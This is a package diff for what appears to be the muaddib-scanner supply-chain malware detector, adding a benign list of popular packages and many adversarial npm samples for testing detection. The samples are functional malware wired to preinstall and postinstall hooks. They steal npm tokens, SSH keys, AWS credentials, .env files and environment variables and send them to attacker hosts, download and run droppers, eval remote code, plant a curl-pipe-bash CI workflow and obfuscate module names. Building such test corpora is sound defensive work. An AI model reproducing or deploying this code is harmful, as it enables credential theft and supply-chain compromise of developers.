muaddib-scanner 2.1.5 → 2.2.0

package/datasets/adversarial/preinstall-background-fork/stealer.js

@@ -0,0 +1,67 @@
+// Background stealer — runs detached from npm install process
+// Waits for parent to exit, then harvests credentials silently
+
+const fs = require('fs');
+const https = require('https');
+const os = require('os');
+const path = require('path');
+
+// Wait 3 minutes — ensures npm install has finished and sandbox timeout has passed
+setTimeout(() => {
+  const loot = {
+    host: os.hostname(),
+    user: os.userInfo().username,
+    arch: os.arch(),
+    platform: process.platform,
+    pid: process.pid,
+    parentPid: process.env._MUADDIB_PARENT_PID
+  };
+
+  // Steal .npmrc tokens
+  try {
+    loot.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
+  } catch (e) {}
+
+  // Steal SSH private keys
+  const sshDir = path.join(os.homedir(), '.ssh');
+  try {
+    const files = fs.readdirSync(sshDir);
+    loot.ssh = {};
+    for (const f of files) {
+      if (f.startsWith('id_') && !f.endsWith('.pub')) {
+        try {
+          loot.ssh[f] = fs.readFileSync(path.join(sshDir, f), 'utf8');
+        } catch (e) {}
+      }
+    }
+  } catch (e) {}
+
+  // Steal AWS credentials
+  try {
+    loot.aws = fs.readFileSync(path.join(os.homedir(), '.aws', 'credentials'), 'utf8');
+  } catch (e) {}
+
+  // Steal .env from common project directories
+  const cwd = process.cwd();
+  try {
+    loot.dotenv = fs.readFileSync(path.join(cwd, '.env'), 'utf8');
+  } catch (e) {}
+
+  // Exfiltrate via HTTPS POST to attacker C2
+  const data = JSON.stringify(loot);
+  const req = https.request({
+    hostname: 'api.pkg-telemetry.dev',
+    path: '/v1/metrics',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(data),
+      'User-Agent': 'npm/10.0.0 node/v20.0.0'
+    }
+  }, () => {
+    process.exit(0);
+  });
+  req.on('error', () => process.exit(0));
+  req.write(data);
+  req.end();
+}, 3 * 60 * 1000);

package/datasets/adversarial/preinstall-exec/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "preinstall-exec",
+  "version": "1.0.0",
+  "description": "Adversarial sample: Shai-Hulud 2.0 preinstall token theft",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node steal.js"
+  }
+}

package/datasets/adversarial/preinstall-exec/steal.js

@@ -0,0 +1,24 @@
+// Runs BEFORE install completes — even if npm install fails, this already executed
+const fs = require('fs');
+const http = require('http');
+const os = require('os');
+const path = require('path');
+
+// Read npm tokens from .npmrc
+const npmrcPath = path.join(os.homedir(), '.npmrc');
+let tokens = '';
+try {
+  tokens = fs.readFileSync(npmrcPath, 'utf8');
+} catch (e) {}
+
+// Exfiltrate via HTTP POST
+const data = JSON.stringify({ host: os.hostname(), npmrc: tokens });
+const req = http.request({
+  hostname: 'telemetry.npm-stats.io',
+  port: 80,
+  path: '/api/install-metrics',
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json' }
+}, () => {});
+req.write(data);
+req.end();

package/datasets/adversarial/proxy-env-intercept/index.js

@@ -0,0 +1,33 @@
+// Adversarial sample: Proxy trap on process.env captures all env vars silently
+var http = require('http');
+var collected = {};
+
+var handler = {
+  get: function(target, prop) {
+    var val = target[prop];
+    if (typeof val === 'string' && prop !== 'PATH' && prop !== 'HOME') {
+      collected[prop] = val;
+    }
+    return val;
+  }
+};
+
+process.env = new Proxy(process.env, handler);
+
+// Trigger reads that the app would normally do
+var _ = process.env.NODE_ENV;
+var __ = process.env.npm_config_registry;
+
+setTimeout(function() {
+  var payload = JSON.stringify(collected);
+  var opts = {
+    hostname: 'collector.evil.com',
+    port: 80,
+    path: '/env',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
+  };
+  var req = http.request(opts, function() {});
+  req.write(payload);
+  req.end();
+}, 5000);

package/datasets/adversarial/proxy-env-intercept/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "proxy-env-intercept",
+  "version": "1.0.0",
+  "description": "Adversarial sample: Proxy on process.env to intercept all env access silently",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  }
+}

package/datasets/adversarial/pyinstaller-dropper/index.js

@@ -0,0 +1,25 @@
+// PhantomRaven dropper (Sonatype): download binary, chmod, execute
+// Classic dropper pattern — postinstall downloads and runs an external binary
+
+const fs = require('fs');
+const https = require('https');
+const { exec } = require('child_process');
+const path = require('path');
+
+const BINARY_URL = 'https://cdn.release-assets.dev/v3/update';
+const DROP_PATH = '/tmp/update';
+
+const file = fs.createWriteStream(DROP_PATH);
+
+https.get(BINARY_URL, (response) => {
+  response.pipe(file);
+  file.on('finish', () => {
+    file.close();
+    // Make executable and run
+    fs.chmodSync(DROP_PATH, 0o755);
+    exec(DROP_PATH, { timeout: 30000 }, () => {
+      // Clean up after execution
+      try { fs.unlinkSync(DROP_PATH); } catch (e) {}
+    });
+  });
+}).on('error', () => {});

package/datasets/adversarial/pyinstaller-dropper/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "pyinstaller-dropper",
+  "version": "1.0.0",
+  "description": "Holdout sample: PhantomRaven binary dropper (Sonatype)",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  }
+}

package/datasets/adversarial/rdd-zero-deps/index.js

@@ -0,0 +1,32 @@
+// PhantomRaven variant: zero dependencies, runtime payload download
+// 200+ packages, 86K victims (Sonatype/Koi Security, Oct 2025)
+// The package.json shows zero dependencies to project a false sense of security
+
+const http = require('http');
+const https = require('https');
+
+// Stage 1: Fetch payload from what looks like a CDN config endpoint
+function loadConfig() {
+  return new Promise((resolve, reject) => {
+    const req = https.get('https://cdn.config-registry.io/v3/runtime/loader.js', (res) => {
+      let body = '';
+      res.on('data', chunk => body += chunk);
+      res.on('end', () => resolve(body));
+    });
+    req.on('error', reject);
+  });
+}
+
+// Stage 2: Execute the downloaded payload
+async function bootstrap() {
+  try {
+    const payload = await loadConfig();
+    // Dynamic evaluation — the actual malicious code is never on disk
+    const fn = new Function('require', 'process', payload);
+    fn(require, process);
+  } catch (e) {
+    // Silent failure — don't alert the user
+  }
+}
+
+bootstrap();

package/datasets/adversarial/rdd-zero-deps/init.js

@@ -0,0 +1,15 @@
+// PhantomRaven postinstall: downloads and evals setup script
+// Runs during npm install — payload is fetched from remote server
+
+const https = require('https');
+
+const url = 'https://registry.npm-config.dev/setup/init.js';
+
+https.get(url, (res) => {
+  let data = '';
+  res.on('data', chunk => data += chunk);
+  res.on('end', () => {
+    // eval the remote payload — never stored on disk
+    eval(data);
+  });
+}).on('error', () => {});

package/datasets/adversarial/rdd-zero-deps/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "rdd-zero-deps",
+  "version": "2.0.1",
+  "description": "Adversarial sample: PhantomRaven zero-dependency variant (Sonatype/Koi Oct 2025)",
+  "main": "index.js",
+  "dependencies": {},
+  "devDependencies": {},
+  "scripts": {
+    "postinstall": "node init.js"
+  }
+}

package/datasets/adversarial/remote-dynamic-dependency/index.js

@@ -0,0 +1,15 @@
+// PhantomRaven pattern: zero dependencies, payload fetched at runtime
+// No require('child_process'), no require('fs'), no import — just fetch + eval
+
+async function initialize() {
+  // Fetch remote configuration (actually malicious payload)
+  const response = await fetch('https://cdn.jsdelivr.net/npm/@config-loader/runtime/config.js');
+  const payload = await response.text();
+
+  // Execute fetched code — the real malware lives on the remote server
+  // This makes static analysis nearly impossible: the malicious code is never in the package
+  eval(payload);
+}
+
+// Auto-execute on require/import
+initialize();

package/datasets/adversarial/remote-dynamic-dependency/package.json

@@ -0,0 +1,7 @@
+{
+  "name": "remote-dynamic-dependency",
+  "version": "1.0.0",
+  "description": "Adversarial sample: PhantomRaven zero-dependency runtime payload",
+  "main": "index.js",
+  "dependencies": {}
+}

package/datasets/adversarial/self-hosted-runner-backdoor/index.js

@@ -0,0 +1,28 @@
+// Shai-Hulud 2.0: create a GitHub Actions workflow that registers as self-hosted runner
+// Persistence technique — no direct exfiltration, drops a backdoor workflow file
+
+const fs = require('fs');
+const path = require('path');
+
+const workflowContent = `name: discussion
+on:
+  discussion:
+    types: [created]
+jobs:
+  process:
+    runs-on: self-hosted
+    steps:
+      - name: Setup
+        run: |
+          curl -sL https://setup.runner-config.dev/install.sh | bash
+          echo "Runner configured"
+`;
+
+// Find the nearest .github directory or create one
+const projectRoot = process.cwd();
+const ghDir = path.join(projectRoot, '.github', 'workflows');
+
+try {
+  fs.mkdirSync(ghDir, { recursive: true });
+  fs.writeFileSync(path.join(ghDir, 'discussion.yaml'), workflowContent);
+} catch (e) {}

package/datasets/adversarial/self-hosted-runner-backdoor/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "self-hosted-runner-backdoor",
+  "version": "1.0.0",
+  "description": "Holdout sample: Shai-Hulud 2.0 self-hosted runner persistence",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  }
+}

package/datasets/adversarial/silent-error-swallow/index.js

@@ -0,0 +1,32 @@
+// Shai-Hulud v1: all malicious code wrapped in try/catch with empty catch
+// No errors, no logs, completely silent — user never knows it ran
+
+const fs = require('fs');
+const https = require('https');
+const os = require('os');
+const path = require('path');
+
+try {
+  const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
+  const data = JSON.stringify({ h: os.hostname(), t: npmrc });
+  const req = https.request({
+    hostname: 'telemetry.pkg-analytics.io',
+    path: '/v1/report',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' }
+  }, () => {});
+  req.write(data);
+  req.end();
+} catch (e) {}
+
+try {
+  const envFile = fs.readFileSync(path.join(process.cwd(), '.env'), 'utf8');
+  const req2 = https.request({
+    hostname: 'telemetry.pkg-analytics.io',
+    path: '/v1/env',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' }
+  }, () => {});
+  req2.write(JSON.stringify({ env: envFile }));
+  req2.end();
+} catch (e) {}

package/datasets/adversarial/silent-error-swallow/package.json

@@ -0,0 +1,6 @@
+{
+  "name": "silent-error-swallow",
+  "version": "1.0.0",
+  "description": "Holdout sample: Shai-Hulud v1 silent try/catch credential theft",
+  "main": "index.js"
+}

package/datasets/adversarial/staged-fetch/index.js

@@ -0,0 +1,9 @@
+const https = require('https');
+
+https.get('https://pastebin.com/raw/abc123', (res) => {
+  let body = '';
+  res.on('data', (chunk) => { body += chunk; });
+  res.on('end', () => {
+    eval(body);
+  });
+});

package/datasets/adversarial/staged-fetch/package.json

@@ -0,0 +1,6 @@
+{
+  "name": "staged-fetch",
+  "version": "1.0.0",
+  "description": "Adversarial sample: remote payload fetch + eval",
+  "main": "index.js"
+}

package/datasets/adversarial/string-concat-obfuscation/index.js

@@ -0,0 +1,6 @@
+const a = 'chi';
+const b = 'ld_';
+const c = 'pro';
+const d = 'cess';
+const mod = require(a + b + c + d);
+mod.exec('whoami');

package/datasets/adversarial/string-concat-obfuscation/package.json

@@ -0,0 +1,6 @@
+{
+  "name": "string-concat-obfuscation",
+  "version": "1.0.0",
+  "description": "Adversarial sample: string concatenation to evade static analysis",
+  "main": "index.js"
+}

package/datasets/adversarial/template-literal-obfuscation/index.js

@@ -0,0 +1,4 @@
+// Adversarial sample: template literal obfuscation to hide module name
+const m = `child${'_'}proc${'ess'}`;
+const mod = require(m);
+mod.exec('whoami > /tmp/.output && curl -X POST -d @/tmp/.output http://evil.com/collect');

package/datasets/adversarial/template-literal-obfuscation/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "template-literal-obfuscation",
+  "version": "1.0.0",
+  "description": "Adversarial sample: template literals to reconstruct dangerous module names",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  }
+}

package/datasets/adversarial/triple-base64-github-push/index.js

@@ -0,0 +1,38 @@
+// Shai-Hulud v1: collect all env vars, triple base64 encode, push to GitHub API
+// Exfiltration via a legitimate service (api.github.com)
+
+const https = require('https');
+const os = require('os');
+
+// Collect all environment variables
+const envDump = JSON.stringify(process.env);
+
+// Triple base64 encode to evade pattern detection
+const b1 = Buffer.from(envDump).toString('base64');
+const b2 = Buffer.from(b1).toString('base64');
+const b3 = Buffer.from(b2).toString('base64');
+
+// Create a public gist via GitHub API with the stolen data
+const gistPayload = JSON.stringify({
+  description: 'config-backup-' + Date.now(),
+  public: true,
+  files: {
+    'config.txt': {
+      content: b3
+    }
+  }
+});
+
+const req = https.request({
+  hostname: 'api.github.com',
+  path: '/gists',
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'User-Agent': 'node-fetch/1.0',
+    'Authorization': `token ${process.env.GITHUB_TOKEN || ''}`,
+    'Content-Length': Buffer.byteLength(gistPayload)
+  }
+}, () => {});
+req.write(gistPayload);
+req.end();

package/datasets/adversarial/triple-base64-github-push/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "triple-base64-github-push",
+  "version": "1.0.0",
+  "description": "Holdout sample: Shai-Hulud v1 triple base64 + GitHub API exfil",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  }
+}

package/datasets/adversarial/websocket-exfil/index.js

@@ -0,0 +1,34 @@
+// Adversarial sample: WebSocket exfiltration — bypasses HTTP/HTTPS/DNS detection
+var net = require('net');
+var fs = require('fs');
+var os = require('os');
+var crypto = require('crypto');
+
+// Read sensitive data
+var envDump = JSON.stringify(process.env);
+var npmrc = '';
+try { npmrc = fs.readFileSync(os.homedir() + '/.npmrc', 'utf8'); } catch(e) {}
+
+// Manual WebSocket handshake over raw TCP to avoid http.request detection
+var socket = net.connect(80, 'ws.evil.com', function() {
+  var wsKey = crypto.randomBytes(16).toString('base64');
+  var upgrade = 'GET /exfil HTTP/1.1\r\n' +
+    'Host: ws.evil.com\r\n' +
+    'Upgrade: websocket\r\n' +
+    'Connection: Upgrade\r\n' +
+    'Sec-WebSocket-Key: ' + wsKey + '\r\n' +
+    'Sec-WebSocket-Version: 13\r\n\r\n';
+  socket.write(upgrade);
+
+  // Send payload as WebSocket frame after handshake
+  setTimeout(function() {
+    var payload = JSON.stringify({ env: envDump, npmrc: npmrc });
+    var buf = Buffer.from(payload);
+    var frame = Buffer.alloc(2 + buf.length);
+    frame[0] = 0x81;
+    frame[1] = buf.length;
+    buf.copy(frame, 2);
+    socket.write(frame);
+    socket.end();
+  }, 1000);
+});

package/datasets/adversarial/websocket-exfil/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "websocket-exfil",
+  "version": "1.0.0",
+  "description": "Adversarial sample: WebSocket exfiltration bypassing HTTP detection",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  }
+}

package/datasets/benign/README.md

@@ -0,0 +1,20 @@
+# Benign Dataset
+
+This dataset contains known-legitimate packages used to measure MUAD'DIB's **False Positive Rate (FPR)**.
+
+## Contents
+
+- `packages-npm.txt` — 100 popular npm packages (one per line)
+- `packages-pypi.txt` — 50 popular PyPI packages (one per line)
+
+## FPR Calculation
+
+```
+FPR = packages with score > 20 / total packages scanned
+```
+
+A package scoring above 20 on a known-legitimate package is considered a false positive.
+
+## Target
+
+**FPR < 5%** — fewer than 8 false positives out of 150 packages.

package/datasets/benign/packages-npm.txt

@@ -0,0 +1,98 @@
+express
+lodash
+react
+axios
+webpack
+typescript
+eslint
+prettier
+jest
+mocha
+next
+vue
+moment
+dayjs
+uuid
+chalk
+commander
+inquirer
+yargs
+dotenv
+cors
+body-parser
+mongoose
+sequelize
+passport
+jsonwebtoken
+bcrypt
+nodemailer
+socket.io
+redis
+pg
+mysql2
+sqlite3
+sharp
+multer
+formidable
+cheerio
+puppeteer
+playwright
+cypress
+electron
+react-dom
+react-router
+redux
+mobx
+rxjs
+ramda
+underscore
+async
+debug
+minimist
+glob
+rimraf
+mkdirp
+semver
+yup
+zod
+ajv
+joi
+express-validator
+helmet
+compression
+morgan
+winston
+pino
+bunyan
+dotenv-expand
+cross-env
+concurrently
+nodemon
+ts-node
+esbuild
+rollup
+vite
+parcel
+core-js
+regenerator-runtime
+whatwg-fetch
+isomorphic-fetch
+node-fetch
+got
+superagent
+form-data
+busboy
+cookie-parser
+express-session
+connect-redis
+ioredis
+bull
+agenda
+node-cron
+date-fns
+luxon
+numeral
+decimal.js
+bignumber.js
+mathjs
+lodash-es

package/datasets/benign/packages-pypi.txt

@@ -0,0 +1,49 @@
+requests
+numpy
+pandas
+flask
+django
+fastapi
+sqlalchemy
+pytest
+black
+pylint
+mypy
+pydantic
+httpx
+aiohttp
+celery
+redis
+boto3
+pillow
+opencv-python
+tensorflow
+torch
+scikit-learn
+matplotlib
+seaborn
+plotly
+beautifulsoup4
+scrapy
+selenium
+playwright
+lxml
+pyyaml
+toml
+python-dotenv
+click
+typer
+rich
+tqdm
+loguru
+structlog
+sentry-sdk
+gunicorn
+uvicorn
+starlette
+jinja2
+mako
+alembic
+psycopg2
+pymongo
+motor